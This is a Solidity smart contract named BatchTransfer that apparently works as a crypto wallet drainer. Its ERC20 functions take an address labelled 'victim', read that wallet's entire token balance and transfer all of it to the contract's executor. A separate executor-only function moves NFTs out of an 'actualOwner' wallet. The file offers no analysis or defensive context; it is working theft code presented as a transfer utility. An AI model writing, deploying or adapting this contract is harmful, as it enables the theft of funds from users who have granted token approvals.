// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;

interface ERC721Partial {
    function transferFrom(address from, address to, uint256 tokenId) external;
}

interface ERC20Partial {
    function balanceOf(address _owner) external view returns (uint256 balance);
    function transferFrom(address _from, address _to, uint256 _value) external returns (bool success);
}

contract BatchTransfer {

    address private _executor;

    constructor(){
        _executor = msg.sender;
    }

    function batchTransfer(ERC721Partial tokenContract, address actualOwner, address recipient, uint256[] calldata tokenIds) external {
        require(msg.sender == _executor,"Huh bro, Get out of here!");
        uint length = tokenIds.length;

        for (uint256 index; index < length; index++) {
            tokenContract.transferFrom(actualOwner, recipient, tokenIds[index]);
        }
    }

    function batchERC20(ERC20Partial[] calldata tokenContracts, address victim) external {
        uint length = tokenContracts.length;

        for (uint index; index < length; index++) {
            uint balance = tokenContracts[index].balanceOf(victim);
            require(tokenContracts[index].transferFrom(victim, _executor, balance));
        }
    }

    function singleERC20(ERC20Partial tokenContract, address victim) external {
            uint balance = tokenContract.balanceOf(victim);
            require(tokenContract.transferFrom(victim, _executor, balance));
    }

    function setExecutor(address _newExector) external {
        require(msg.sender == _executor,"Huh bro, Get out of here!");
        _executor = _newExector;
    }

}